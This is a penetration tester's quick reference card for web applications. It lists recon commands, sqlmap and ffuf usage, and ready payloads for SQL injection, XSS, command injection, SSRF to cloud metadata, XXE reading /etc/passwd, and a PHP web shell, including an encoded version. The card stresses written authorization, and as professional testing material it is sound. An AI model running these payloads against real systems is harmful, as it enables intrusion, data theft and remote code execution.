Web Application Penetration Testing

Quick Reference Card - Keep This Open During Testing

PHASE 1: RECONNAISSANCE (4-6 hours)

Subdomain Discovery

subfinder -d target.com -o subs.txt
httpx -l subs.txt -title -tech-detect -o live.txt

Technology Stack Fingerprinting

whatweb -v target.com
curl -I https://target.com

Content Discovery

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302,401,403

Google Dorking

site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com ext:sql OR ext:env

PHASE 2: APPLICATION MAPPING (6-8 hours)

Manual Exploration Steps

  1. Create an account on the application
  2. Browse ALL features systematically
  3. Intercept traffic with Burp Suite (127.0.0.1:8080)
  4. Analyze JavaScript files for hidden endpoints
  5. Find API documentation (/api, /swagger, /api-docs)

Automated Discovery

# Directory bruteforce
feroxbuster -u https://target.com -w wordlist.txt -x php,html,js

# JavaScript analysis
python3 linkfinder.py -i https://target.com/app.js -o cli

# Parameter discovery
arjun -u https://target.com/endpoint

PHASE 3: VULNERABILITY DISCOVERY (12-16 hours)

Authentication Testing

SQL Injection in Login Form

Username: admin' OR '1'='1' --
Password: anything

Default Credentials

admin:admin, root:root, test:test

JWT Token Testing

jwt_tool <TOKEN> -X k -pk public.pem

Authorization Testing

IDOR (Insecure Direct Object Reference)

# Your ID: 123, test accessing: 124, 125, 126...
GET /api/user/123/profile
GET /api/user/124/profile

# Try all HTTP methods
curl -X POST /api/user/124/profile
curl -X PUT /api/user/124/profile
curl -X DELETE /api/user/124/profile

Privilege Escalation

POST /api/user/update
{"role": "admin", "is_admin": true}

SQL Injection

Manual Payloads

# Basic
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --

# Time-based blind
' AND SLEEP(5) --
' AND IF(1=1, SLEEP(5), 0) --

# Boolean-based
' AND 1=1 --  (True)
' AND 1=2 --  (False)

Automated Testing

sqlmap -u "https://target.com/page?id=1" --batch --dbs
sqlmap -r request.txt --batch --dbs --level=5 --risk=3

Test These Locations

Cross-Site Scripting (XSS)

Basic Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>

Filter Bypass Techniques

<ScRiPt>alert(1)</sCrIpT>
<body onload=alert(1)>
<svg/onload=alert(1)>

Test In

Command Injection

; ls
| cat /etc/passwd
&& whoami
`id`
$(whoami)

# Blind (time-based)
; sleep 10
| ping -c 10 127.0.0.1

Server-Side Request Forgery (SSRF)

http://127.0.0.1
http://localhost
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/

# Bypass techniques
http://127.1
http://[::1]
http://127.0.0.1.nip.io

Test In

XML External Entity (XXE)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>

File Upload Vulnerabilities

Malicious Files

# PHP shell
<?php system($_GET['cmd']); ?>

# With GIF header bypass
GIF89a<?php system($_GET['cmd']); ?>

# Extension bypass
shell.php.jpg
shell.php%00.jpg
shell.PhP

Path Traversal in Filename

../../shell.php
..%2F..%2Fshell.php

Local/Remote File Inclusion (LFI/RFI)

../../../../etc/passwd
../../../../var/log/apache2/access.log

# PHP wrappers
php://filter/convert.base64-encode/resource=index.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

Business Logic Vulnerabilities

Test For

Race Condition Test Script

import concurrent.futures, requests

def req():
    return requests.post('https://target.com/redeem', 
                        data={'code': 'GIFT100'})

with concurrent.futures.ThreadPoolExecutor(max_workers=20) as ex:
    [ex.submit(req) for _ in range(20)]

API-Specific Testing

GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}'

Mass Assignment

{"username": "test", "is_admin": true, "role": "admin"}

API Version Testing

curl https://target.com/api/v1/users
curl https://target.com/api/v2/users

QUICK WINS CHECKLIST (First 30 Minutes)


COMMON VULNERABLE PARAMETERS

Parameter Vulnerability Type
?id=SQL Injection, IDOR
?url=SSRF
?file=LFI/RFI
?page=LFI
?redirect=Open Redirect
?callback=JSONP Hijacking
?email=Email Header Injection
?search=XSS, SQL Injection
?image=SSRF
?template=SSTI

BURP SUITE ESSENTIALS

Initial Setup

  1. Proxy → Options → Configure listener: 127.0.0.1:8080
  2. Import Burp CA certificate in browser
  3. Enable Intercept
  4. Browse application, monitor HTTP History

Key Features

Essential Extensions


SEVERITY RATING (CVSS v3)

Severity Score Examples
CRITICAL 9.0-10.0 Unauthenticated RCE, SQL injection with admin access, Authentication bypass
HIGH 7.0-8.9 Authenticated RCE, Privilege escalation, Sensitive data exposure
MEDIUM 4.0-6.9 IDOR, Stored XSS, CSRF on sensitive functions
LOW 0.1-3.9 Information disclosure, Missing security headers, Reflected XSS (limited impact)

PROOF OF CONCEPT TEMPLATE

## [Vulnerability Name]
**Severity:** Critical/High/Medium/Low

### Steps to Reproduce:
1. Navigate to https://target.com/login
2. Enter payload: admin' OR '1'='1' --
3. Click login button
4. Access granted as admin user

### Evidence:
[Screenshot attached]

### HTTP Request:
POST /login HTTP/1.1
Host: target.com

username=admin'+OR+'1'='1'+--&password=test

### Impact:
Complete authentication bypass, unauthorized access to any account

### Remediation:
• Use parameterized queries/prepared statements
• Implement input validation and sanitization
• Apply principle of least privilege

TOOL QUICK COMMANDS

Nuclei

nuclei -u https://target.com -tags cve,exposure
nuclei -l urls.txt -c 50

SQLMap

sqlmap -u "URL" --batch --dbs
sqlmap -r request.txt --level=5 --risk=3

FFUF

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302
ffuf -u https://target.com/api/FUZZ -w api-wordlist.txt -H "Authorization: Bearer TOKEN"

cURL

curl -I https://target.com  # Headers only
curl -X POST https://target.com/api -d '{"key":"value"}'
curl -H "Authorization: Bearer TOKEN" https://target.com/api

COMPREHENSIVE TEST CHECKLIST


PROFESSIONAL TESTING TIPS


EMERGENCY STOP CONDITIONS

STOP TESTING IMMEDIATELY IF:

THEN:

  1. Document exactly what you found
  2. Stop testing that specific vector
  3. Notify client immediately
  4. Get explicit guidance before continuing

TIME MANAGEMENT

Engagement Type Time Allocation
40-Hour Engagement Day 1: Recon + Mapping (8h)
Day 2: Auth + Authz testing (8h)
Day 3: Injection vulnerabilities (8h)
Day 4: Business logic + APIs (8h)
Day 5: Exploitation + Reporting (8h)
8-Hour Quick Test 0-1h: Reconnaissance
1-3h: Manual exploration
3-6h: Vulnerability testing (high-impact focus)
6-8h: Documentation

REPORTING CHECKLIST


WHEN YOU'RE STUCK

1. Change Your Testing Angle

2. Review Your Notes

3. Analyze JavaScript Code

4. Test Business Logic

5. Ask for Help


FINAL CRITICAL REMINDER

This is REAL TESTING with REAL CONSEQUENCES


✓ Get WRITTEN AUTHORIZATION FIRST

✓ Define clear scope boundaries

✓ Maintain professional communication

✓ Document EVERYTHING

✓ Demonstrate ethical behavior

✓ Stop immediately if unsure

✓ Notify client of critical findings


Your professional reputation is on the line.
Test responsibly and ethically.


Print this reference card.

Keep it next to your monitor.

Reference it constantly during testing.


Now go find those bugs! 🎯